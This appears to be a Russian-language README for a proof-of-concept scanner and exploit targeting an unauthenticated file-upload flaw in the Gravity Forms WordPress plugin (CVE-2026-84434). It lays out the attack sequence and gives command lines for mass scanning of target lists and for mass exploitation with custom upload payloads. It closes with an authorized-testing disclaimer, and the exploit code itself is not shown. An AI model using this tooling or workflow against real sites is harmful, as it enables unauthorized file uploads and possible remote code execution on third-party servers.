Сканер и эксплойт PoC на Python 3 для CVE-2026-84434 в Gravity Forms.
| |
|---|
| Плагин | gravityforms |
| Уязвимые версии | ≤ 3.1.0.4 |
| Исправлено в | 3.1.0.5+ (релиз безопасности от вендора 3.1.1) |
| CVSS | 9.8 (Критический) |
| Аутентификация | Не требуется |
| CWE | CWE-434 — Неограниченная загрузка |
| Автор | 0xd4rk5id3 — EnvoraSec (Wordfence) |
Краткое описание
Скрытые поля File Upload пропускают проверку расширения в конвейере валидации, при этом путь сохранения может по-прежнему вызывать upload_file() без эквивалентных проверок. Неаутентифицированный злоумышленник может отправить POST-запрос к публичной форме, содержащей поле File Upload со значением Visibility → Hidden.
Файлы сохраняются в wp-content/uploads/gravity_forms/. Gravity Forms обычно добавляет правила .htaccess для блокировки выполнения PHP; RCE зависит от конфигурации сервера (nginx, альтернативный docroot и т. д.).
Сценарий атаки
- Обнаружение Gravity Forms и версии ≤ 3.1.0.4
- Обход публичных страниц в поисках
gform_wrapper и скрытого поля fileupload (input_{form}_{field})
- Заполнение обязательных видимых полей заглушками
- Multipart POST (
gform_submit, is_submit_{id}, файл в скрытом поле)
- Подтверждение через сообщение об успехе / подсказки о записи / опциональную проверку маркера
Требования
- Python 3.9+
pip install -r requirements.txt
Использование
pip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
Опции CLI
Вывод (массовая проверка)
Распространённые значения status (check)
Ограничения
- Режим проверки видит только скрытые поля загрузки, отрисованные в публичном HTML; скрытые поля, доступные только администратору, невозможно обнаружить удалённо.
- Списки в стиле FOFA содержат множество исправленных сайтов или форм без скрытой загрузки — ожидайте низкий процент кандидатов.
- Эксплойт по умолчанию загружает безвредный текстовый маркер, а не веб-шелл.
Структура репозитория
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Локальные списки сканирования и артефакты (list.txt, *.jsonl, пользовательские полезные нагрузки) указаны в .gitignore и не должны коммититься.
Правовая информация
Только для авторизованного тестирования безопасности. Вы несёте ответственность за соблюдение применимых законов и правил программ.